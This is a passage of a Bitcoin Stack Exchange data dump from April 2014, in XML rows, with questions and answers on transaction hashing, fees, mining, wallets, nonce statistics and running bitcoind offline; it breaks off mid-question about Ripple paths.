  <row Id="24619" PostTypeId="1" AcceptedAnswerId="24622" CreationDate="2014-04-15T14:51:50.777" Score="2" ViewCount="506" Body="&lt;p&gt;The first figure in the &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;original paper&lt;/a&gt; of Satoshi is a diagram of transactions.  This diagram seems to indicate that the transaction data is hashed &lt;strong&gt;before&lt;/strong&gt; the sender's signature is appended.  Why not just hash the entire transaction, including the signature, to produce all-encompassing transaction hash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;:  I want to highlight the comment by @David Schwartz on the accepted answer.&lt;/p&gt;&#xA;" OwnerUserId="15136" LastEditorUserId="15136" LastEditDate="2014-04-25T17:21:26.317" LastActivityDate="2014-04-25T17:21:26.317" Title="Why does the hash come before the signature?" Tags="|transactions|hash|satoshi-nakamoto|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24621" PostTypeId="2" ParentId="18798" CreationDate="2014-04-15T15:07:20.923" Score="1" Body="&lt;p&gt;Just to give this a direct answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it's possible for coin withdrawals from an exchange to be processed instantly, and as far as I know most exchanges actually do so.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-15T15:07:20.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24622" PostTypeId="2" ParentId="24619" CreationDate="2014-04-15T15:28:11.183" Score="1" Body="&lt;p&gt;Because it would not have a function. The hash listed in the picture of the original whitepaper is just to make the signature shorter (and possibly the process of creating it faster) without losing security, its only function is the authentication of a transaction, it is not used for anything else (or even stored).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, this is the diagram mentioned in the question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s6AsR.png&quot; alt=&quot;Transaction in the Satoshi whitepaper&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2014-04-15T18:14:37.203" LastActivityDate="2014-04-15T18:14:37.203" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24625" PostTypeId="2" ParentId="24618" CreationDate="2014-04-15T17:23:04.830" Score="1" Body="&lt;p&gt;The exchange rate updates relatively slowly (every hour or I think for BitStamp) so as to avoid all the copies of MultiBit hitting the BitStamp servers too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is obviously bitcoin that is being sent in a transaction so in any sale or purchase it is the bitcoin figure that you want to agree to rather than the &quot;USD (Bitstamp)&quot; or &quot;GBP (OpenExchangeRates)&quot; figure.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-04-15T17:23:04.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24626" PostTypeId="2" ParentId="24617" CreationDate="2014-04-15T17:26:14.450" Score="2" Body="&lt;p&gt;Maybe you can arrange it such that a refund always uses the TxOut of the transaction with which it came into the cold storage? Basically giving the user the same bitcoins back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a fork causes the funds not to go into cold storage they will not be going out either.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-04-15T17:26:14.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24630" PostTypeId="1" CreationDate="2014-04-15T20:58:09.743" Score="2" ViewCount="39" Body="&lt;p&gt;I have 5 msi radeon R9 290 cards and this board &lt;a href=&quot;https://www.asus.com/Motherboards/Z87PLUS/specifications/&quot; rel=&quot;nofollow&quot;&gt;https://www.asus.com/Motherboards/Z87PLUS/specifications/&lt;/a&gt; . With 3 pcie 16x everything runs smooth but, as soon as I add the first 1x into the equation, I start getting tons of rejects.&#xA;How do you run the two technologies concurrently.&#xA;I am running Win8.&lt;/p&gt;&#xA;" OwnerUserId="12392" LastEditorUserId="5406" LastEditDate="2016-04-02T10:07:36.470" LastActivityDate="2016-04-02T10:07:36.470" Title="mining pcie 16x and 1x together caused rejects" Tags="|altcoin|cgminer|miner-configuration|gpu-mining|mining-setup|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T17:24:16.800" ContentLicense="CC BY-SA 3.0" />
  <row Id="24631" PostTypeId="1" CreationDate="2014-04-15T21:20:18.960" Score="1" ViewCount="571" Body="&lt;p&gt;I have been struggling over the past few days to get some up-to-date information about Litecoin and I keep ending with nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start off, I would like the formula that calculates the required fee per transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Bitcoin, for example, this info is available here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find the same information for Litecoin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this: &lt;a href=&quot;https://litecoin.info/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://litecoin.info/Transaction_fees&lt;/a&gt; among other forum posts but I couldn't find what the value of these factors are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Minimum suggested transaction priority&lt;/li&gt;&#xA;&lt;li&gt;Number of bytes each input adds to the transaction size&lt;/li&gt;&#xA;&lt;li&gt;Number of bytes each output adds to the transaction size&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If anyone could share their knowledge or point me to the right direction I would appreciate, after all this search I feel very frustrated.&lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2014-04-15T21:20:18.960" Title="Litecoin transaction fee" Tags="|transactions|litecoin|transaction-fees|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24632" PostTypeId="1" CreationDate="2014-04-15T21:31:50.817" Score="3" ViewCount="1199" Body="&lt;p&gt;I am attempting to import a private key that was made in Multibit, into Armory. I am able to restore this key into other wallets, such as the Android Bitcoin Wallet, Mycelium and Electrum, but when I attempt to do so in Armory I get an error saying &quot;The private key you have entered is actually not valid for the elliptic curve used by Bitcoin (secp256k1). Almost any 64-character hex is a valid private key except for those greater than fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my key is the wrong format or something?&lt;/p&gt;&#xA;" OwnerUserId="15280" LastActivityDate="2014-04-15T21:31:50.817" Title="Import private keys from Multibit into Armory?" Tags="|private-key|multibit|armory|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24633" PostTypeId="2" ParentId="24516" CreationDate="2014-04-15T22:50:51.187" Score="1" Body="&lt;p&gt;If anyone is looking for the answer, Gavin Andresen posted it on bitcointalk.org.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=567321&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=567321&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Transactions send via sendrawtransaction are always debited from the default &amp;quot;&amp;quot; account. Raw transactions and accounts are not designed to work together, use one or the other .&lt;/p&gt;&#xA;&lt;p&gt;And preferably not accounts: unless somebody steps up and volunteers to make the accounts feature &amp;quot;industrial-strength&amp;quot; (scalable, integrates with whatever back-end database your company is using to track user information, can be robustly backed up, etc) it is very likely it will be deprecated and then dropped.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15196" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-04-15T22:50:51.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24635" PostTypeId="2" ParentId="19199" CreationDate="2014-04-16T00:27:00.827" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://cmart-46.wix.com/simplefund&quot; rel=&quot;nofollow&quot;&gt;SimpleFund&lt;/a&gt; does this. It's a novel combination of virtual commodity, backed by real value, and grows in three ways. &lt;a href=&quot;http://simplefund.tumblr.com/post/81397365510/better-than-bitcoin&quot; rel=&quot;nofollow&quot;&gt;http://simplefund.tumblr.com/post/81397365510/better-than-bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15284" LastActivityDate="2014-04-16T00:27:00.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24636" PostTypeId="1" AcceptedAnswerId="24644" CreationDate="2014-04-16T03:08:39.730" Score="7" ViewCount="3460" Body="&lt;p&gt;What cryptocurrency is the fastest in terms of reaching 100% transaction confirmation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found sites like &lt;a href=&quot;http://crypt.la/2013/12/14/list-of-the-fastest-cryptocurrencies/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; that show that Fastcoin is the fastest at 48 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think David Schwartz said that Ripple gets 100% confirmation in ~10 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is Ripple the fastest, or is there another coin that is left out of calculations because of bias like that attributed to Ripple?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this world of high frequency trading, is 10 seconds the best that can be done right now?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2014-05-30T20:01:07.783" LastActivityDate="2014-05-31T08:56:56.247" Title="Fastest cryptocurrency" Tags="|alternatives|confirmations|performance|time|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24637" PostTypeId="1" AcceptedAnswerId="24729" CreationDate="2014-04-16T08:11:56.863" Score="3" ViewCount="170" Body="&lt;p&gt;Bitcoin wallets send some change back to you if you have only large chunks of bitcoins in your wallet and try to send a small amount to someone else.&lt;br&gt;Over time, could larger chunks of bitcoins gradually be broken down into dust as a side effect of this?  Like, when bitcoins are transferred through the network, could they gradually be split into 2 or more smaller amounts, and the smaller pieces broken down more, and so on?&lt;/p&gt;&#xA;" OwnerUserId="15244" LastActivityDate="2014-04-19T17:32:57.207" Title="Could the creation of bitcoin change create irreversible bitcoin &quot;dust&quot;?" Tags="|change|dust|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24638" PostTypeId="2" ParentId="3616" CreationDate="2014-04-16T08:59:35.610" Score="2" Body="&lt;p&gt;It seems as if there is such a pool now, advertising the behavior as a feature to allow &quot;reverting mistaken payments&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitundo.com/&quot; rel=&quot;nofollow&quot;&gt;BitUndo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also supply &lt;a href=&quot;https://github.com/bitundo/bitcoin&quot; rel=&quot;nofollow&quot;&gt;a patch&lt;/a&gt; to bitcoind.&lt;/p&gt;&#xA;" OwnerUserId="4607" LastActivityDate="2014-04-16T08:59:35.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24641" PostTypeId="1" CreationDate="2014-04-16T09:50:42.467" Score="9" ViewCount="953" Body="&lt;p&gt;Upon every start of &lt;code&gt;bitcoind&lt;/code&gt;, I see the following in de debug log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Verifying last 288 blocks at level 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;come up. At this point, no new blocks have been downloaded and the block chain was 100% up to date when I last closed bitcoin. Bitcoind does not do anything before it has 'verified' these 288 blocks (the server does not answer until this phase has passed).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why do the last blocks need to be verified if nothing new has been added since shutdown?&lt;/li&gt;&#xA;&lt;li&gt;Does this verification make any changes to any files? Does it save anything to the blocks / chainstate / database directories? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14680" LastEditorUserId="14680" LastEditDate="2014-04-16T11:51:17.993" LastActivityDate="2019-09-17T23:43:11.437" Title="What is &quot;Verifying last 288 blocks at level 3&quot;?" Tags="|verification|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24642" PostTypeId="1" AcceptedAnswerId="24654" CreationDate="2014-04-16T12:12:05.363" Score="7" ViewCount="885" Body="&lt;p&gt;I want to run &lt;code&gt;bitcoind&lt;/code&gt; to interact with the daemon, but having bitcoin download new blocks and verify them is taking a toll on my CPU. I do not want the latest data - I just want the daemon to be running. Is there a way to prevent bitcoin from downloading new data?&lt;/p&gt;&#xA;" OwnerUserId="14680" LastActivityDate="2014-04-16T20:18:36.787" Title="Can I run bitcoind without downloading new blocks?" Tags="|blockchain|daemon|" AnswerCount="1" CommentCount="1" ClosedDate="2014-04-19T07:16:15.523" ContentLicense="CC BY-SA 3.0" />
  <row Id="24643" PostTypeId="2" ParentId="24637" CreationDate="2014-04-16T12:45:52.553" Score="1" Body="&lt;p&gt;The theory is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a notion of unspendable coins, whereby a minimum fee would be greater than the amount available to spend from a single address in a single payment. I believe as it is still possible to send zero fee transactions these can always be spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if the network decided that there should be a minimum fee you would see unspendable amounts in wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is much more complex than this however - most wallets try to group together unspent coins in order to spend them, and in this way you could have multiple dust inputs to a larger transaction, which may result in a large amount of change going to one change address. You could consider this to be a theoretical consolidation of small payments received into a larger address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are privacy issues with this, and as always there is a trade-off somewhere. &lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-04-16T12:45:52.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24644" PostTypeId="2" ParentId="24636" CreationDate="2014-04-16T12:57:03.570" Score="3" Body="&lt;p&gt;I know people tend to get obsessed about the confirmation time, but the important factors are the number of nodes and the speed at which any given transaction is seen by the network as a whole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this is under three seconds for a transaction to be seen by the entire bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this measure important? Because this is the so-called &quot;window of opportunity&quot; for a double-spend. In fact as soon as the transaction hits the network, the race is on, so we are actually talking about milliseconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi provided an answer to this somewhere (I can't find it right now) which explains what the real issue is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A large number of nodes means that any double spend attack, has to work harder to get the transaction seen first, and hence included in a block first. But again this is totally arbitrary because nobody can predict the winner of the block (who gets to choose which transactions to include).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this &quot;fastest confirmation&quot; metric is a red herring.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-04-16T12:57:03.570" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24645" PostTypeId="2" ParentId="24406" CreationDate="2014-04-16T13:11:40.810" Score="0" Body="&lt;p&gt;Transaction fees are taken if you construct a transaction in such a way as to imply that a fee is being paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have two unspent transaction out puts of 0.6BTC and 0.4BTC&lt;/li&gt;&#xA;&lt;li&gt;You use these two outputs as inputs (which total 1BTC) in your transaction&#xA;where you pay 1 output address 0.99999BTC.&lt;/li&gt;&#xA;&lt;li&gt;The fee of 0.00001BTC is implied. It is not sent to any address or&#xA;collected by the software.&lt;/li&gt;&#xA;&lt;li&gt;Your friend receives 0.99999BTC and when the transaction is included&#xA;in a block, the miner gets 0.00001BTC.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's basically how it works. You need to consider what is going in to the transaction, as well as what is coming out at the other end.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-04-16T13:11:40.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24646" PostTypeId="2" ParentId="24132" CreationDate="2014-04-16T13:22:28.580" Score="2" Body="&lt;p&gt;I think what you are asking is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because Multibit is a lightweight SPV wallet, it uses Bloom filters to request the status of its own wallets from other peers rather than collecting the latest blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could those other peers, who already know the IP address, conclude that the request for information concerning certain addresses imply that this IP address is looking after these addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer would be yes it could conclude this, but it could never say for sure if the private keys were also owned at that IP address it could only assume this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The matter is further complicated because connection to peers is fairly random according to their availability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; I am updating my reply, as it appears that some research has been carried out which may contradict what was thought to be the case, but this is not strictly related to Multibit, but all wallets that use internet protocol. The Coindesk article points to the paper:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/eavesdropping-attack-can-unmask-60-bitcoin-clients/&quot; rel=&quot;nofollow&quot;&gt;&quot;Eavesdropping&quot; attack&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5157" LastEditorUserId="5157" LastEditDate="2014-06-16T20:19:26.813" LastActivityDate="2014-06-16T20:19:26.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24647" PostTypeId="2" ParentId="24556" CreationDate="2014-04-16T15:05:53.260" Score="0" Body="&lt;p&gt;getrawmempool is the solution as mentioned in the edit of the question and validated by the comment in the question.&lt;/p&gt;&#xA;" OwnerUserId="15064" LastActivityDate="2014-04-16T15:05:53.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24649" PostTypeId="2" ParentId="22276" CreationDate="2014-04-16T17:10:50.183" Score="2" Body="&lt;p&gt;It is designed that way because it &lt;em&gt;has&lt;/em&gt; to be designed that way. When you sign a transaction, the signature isn't known yet. And the final transaction hash &lt;em&gt;must&lt;/em&gt; include the signature otherwise people couldn't agree on whether a transaction was validly signed or not. So the data included in the signature &lt;em&gt;cannot&lt;/em&gt; be the same as the data included in the hash because the former &lt;em&gt;cannot&lt;/em&gt; include the signature itself and the latter &lt;em&gt;must&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-04-16T17:10:50.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24650" PostTypeId="1" AcceptedAnswerId="24893" CreationDate="2014-04-16T18:25:41.287" Score="18" ViewCount="1613" Body="&lt;p&gt;Each one of bitcoin and its derived crypto-currencies has a nonce value in the block, no matter what the algorithm is. Every miner tries to search for a luck nonce which can make the hash value smaller than the target under the required difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, recently I search scrypt based cryptocurrencies, like the dogecoin and vertcoin block chain for few blocks. I found most of the nonce are even numbers, except for (only manually browsed in block explorer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bkchain.org/doge/block/4f3bab23004c3da2fecbc011521956c1da7262891f50f6f55893b3f778230d84&quot; rel=&quot;noreferrer&quot;&gt;Block #184161&lt;/a&gt; - nonce = 8dce5c01&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bkchain.org/doge/block/3e7f9f715839f396ccef9c02d59342cf48f774eb83182f1aff08dade46c4ff53&quot; rel=&quot;noreferrer&quot;&gt;Block #184143&lt;/a&gt; - nonce = 2a674001&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bkchain.org/doge/block/95fbb076eff9c892bf048240ee2a5daaf45541f1aeac1bdfdf10880f75cb70d0&quot; rel=&quot;noreferrer&quot;&gt;Block #184139&lt;/a&gt; - nonce = 930aa899&lt;/p&gt;&#xA;&#xA;&lt;p&gt;many other blocks from the latest block (Block #184174) and blocks in between of them are even numbers. Moreover, many nonce value are in hex number of form XXXXXX00 (in an integer hex number form, it is stored as 00XXXXXX in block), or multiples of 256.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same outcome I observed in Vertcoin blocks. I manually traversed for few blocks and also found nonces of them are also even numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to ask a question. If I configure the scrypt or n-scrypt to search only even numbers, is it possible to have higher chance to find the nonce which can solve the current quickly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I won't expect the mining revenue of each miner in the pool (PPS or PPLNS) is going to be greater than that of normal nonce searching algorithm because the pool count for &quot;shares&quot; you found. When you skip odd numbers, you also lose the chance to get a share (solved by the odd nonce) which can meet the diff the pool gives to you. However, when a pool found a nonce that can solve the block, then the pool wins and gets the rewards.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edited: Apr 18&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a small program to collect some statistical data. From recent Dogecoin block #186,299 to #145,000 (the last mandatory update)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;total 41,300 blocks&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;number of odds = 3,891  (9.42%)&lt;/li&gt;&#xA;&lt;li&gt;number of evens = 37,409 (90.58%)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ratio of odd to even is about 1:10&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Among the evens, the number of multiples of 256 = 35,106&#xA;&lt;ul&gt;&#xA;&lt;li&gt;85% of total&lt;/li&gt;&#xA;&lt;li&gt;93.866% of evens&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update: 4/20&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently also checked the nonces from block 552,780 to 253,898 of Litecoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;totally 298,883 blocks.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;number of odds = 42,963 (14.374521%)&lt;/li&gt;&#xA;&lt;li&gt;number of evens = 255,920 (85.625479%)&lt;/li&gt;&#xA;&lt;li&gt;Among the evens, the number of multiples of 256 = 225,746&#xA;&lt;ul&gt;&#xA;&lt;li&gt;75.529890% of total&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update: 4/21&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a small Perl script and call litecoind/dogecoind wallet to print out each block's nonce. It is very slow but quite simple. It would be very fast when you are using binary block database parser.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl -w&#xA;&#xA;my $odd = 0;&#xA;my $even = 0;&#xA;my $m256 = 0;&#xA;my $total = 0;&#xA;for ($i = 186299; $i &amp;gt;= 145000; $i = $i-1) {&#xA;    $nonce = `dogecoind getblock \`dogecoind getblockhash $i\` | grep nonce`;&#xA;    chomp $nonce;&#xA;    $nonce =~ s/[^0-9]*//g;&#xA;    printf &quot;%d %d\n&quot;, $i, $nonce;&#xA;&#xA;    if (($nonce %2)== 1) {&#xA;            $odd++;&#xA;    }&#xA;    else {&#xA;            $even = $even + 1;&#xA;            $m256++ if (($nonce % 256) == 0);&#xA;    }&#xA;    $total ++;&#xA;}&#xA;printf &quot;odds=%d (%f%%) evens=%d (%f%%) 256s=%d (%f%%)\n&quot;,&#xA;     $odd, (100.0*$odd/$total),&#xA;     $even, (100.0*$even/$total),&#xA;     $m256, 100.0*$m256/$total;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9307" LastEditorUserId="9307" LastEditDate="2014-04-24T22:38:48.573" LastActivityDate="2014-04-28T06:10:49.737" Title="Looking for nonces of even numbers" Tags="|litecoin|dogecoin|scrypt|algorithms|nonce|" AnswerCount="3" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="24651" PostTypeId="1" AcceptedAnswerId="24659" CreationDate="2014-04-16T18:48:43.947" Score="17" ViewCount="9167" Body="&lt;p&gt;Given the structure of the inputs in the transaction vin inputs array &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;146183a58106544e81573e9f1ad13c7a2d7398dcaf42bb298fcea7858839d3b9&quot;,&#xA;    &quot;vout&quot; : 1,&#xA;    &quot;scriptSig&quot; : {&#xA;        &quot;asm&quot; :   &quot;304502201fd8abb11443f8b1b9a04e0495e0543d05611473a790c8939f089d073f90509a022100f4677825136605d732e2126d09a2d38c20c75946cd9fc239c0497e84c634e3dd01 03301a8259a12e35694cc22ebc45fee635f4993064190f6ce96e7fb19a03bb6be2&quot;,&#xA;        &quot;hex&quot; : &quot;48304502201fd8abb11443f8b1b9a04e0495e0543d05611473a790c8939f089d073f90509a022100f4677825136605d732e2126d09a2d38c20c75946cd9fc239c0497e84c634e3dd012103301a8259a12e35694cc22ebc45fee635f4993064190f6ce96e7fb19a03bb6be2&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that hex is the hexadecimal representation of the scriptSig, what's asm ?&lt;/p&gt;&#xA;" OwnerUserId="12049" LastActivityDate="2017-12-15T14:05:14.267" Title="What's &quot;asm&quot; in transaction input's ScriptSig" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24653" PostTypeId="1" CreationDate="2014-04-16T19:14:50.857" Score="9" ViewCount="1163" Body="&lt;p&gt;I am wondering how does the Ethereum domain registration works? From &lt;a href=&quot;https://github.com/ethereum/wiki/wiki/%5BEnglish%5D-White-Paper#ethereum-accounts&quot;&gt;what I can see in the whitepaper&lt;/a&gt;, I know there is account-specific data storage, but I don't know if that would be the ideal way to register domains. Generally, one would need some shared data storage between all accounts to have globally unique domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does data registration in Ethereum work?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2023-07-04T11:30:42.123" Title="How does Ethereum domain registration works?" Tags="|namecoin|domain-registering|ethereum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24654" PostTypeId="2" ParentId="24642" CreationDate="2014-04-16T20:18:36.787" Score="6" Body="&lt;p&gt;Essentially, you want to run &lt;code&gt;bitcoind&lt;/code&gt; while connected to the network to download all the blocks, then disconnect it from the network so it no longer downloads new data. There are several possible ways to do this, from least to most drastic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;-proxy&lt;/code&gt; option to specify a proxy that does not exist.&lt;/li&gt;&#xA;&lt;li&gt;Use a software firewall to prevent &lt;code&gt;bitcoind&lt;/code&gt; from communicating with the network.&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;bitcoind&lt;/code&gt; in a virtual machine and turn off its network access.&lt;/li&gt;&#xA;&lt;li&gt;Physically disconnect the machine from the network.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-04-16T20:18:36.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24655" PostTypeId="1" AcceptedAnswerId="24656" CreationDate="2014-04-16T20:39:56.797" Score="2" ViewCount="510" Body="&lt;p&gt;I'm just curious about this. I'm not sure if the length of zeros in the hash result is directly proportional to the probability, or how to calculate this.&lt;/p&gt;&#xA;" OwnerUserId="15303" LastEditorUserId="5406" LastEditDate="2016-04-25T15:42:54.637" LastActivityDate="2016-04-25T15:42:54.637" Title="What is the average number of hashes it takes to mine bitcoins?" Tags="|hash|difficulty|hashpower|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24656" PostTypeId="2" ParentId="24655" CreationDate="2014-04-16T22:18:15.323" Score="3" Body="&lt;p&gt;(Average hashing power of network per second between the last difficulty adjustment and the difficulty adjustment that came before it) * 600 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or (2^32 * difficulty)&lt;/p&gt;&#xA;" OwnerUserId="7144" LastEditorUserId="7144" LastEditDate="2014-04-16T22:23:23.927" LastActivityDate="2014-04-16T22:23:23.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24657" PostTypeId="1" AcceptedAnswerId="24658" CreationDate="2014-04-16T22:20:45.387" Score="1" ViewCount="108" Body="&lt;p&gt;I think I understand, for the most part, how rippled finds transaction paths, and how gateways can charge transit fees; but some of the edge cases have me wondering...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say my wallet has XYZ from xyzGateway, and I've offered to sell 1000 XYZ for 100 USD from usdGateway.  For simplicity, let's say that's the only offer on the books trading XYZ for USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, my friend Alice has over 100 USD:usdGateway in her wallet.  And to settle a debt between us, she sends me 1000 XYZ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a path that might work.  The first leg of the path is 100 USD:usdGateway from Alice to me.  The next leg is my own offer to trade 1000 XYZ:xyzGateway for 100 USD:usdGateway.  I would make that trade &lt;strong&gt;with myself&lt;/strong&gt;, so that afterwards my wallet contains 1000 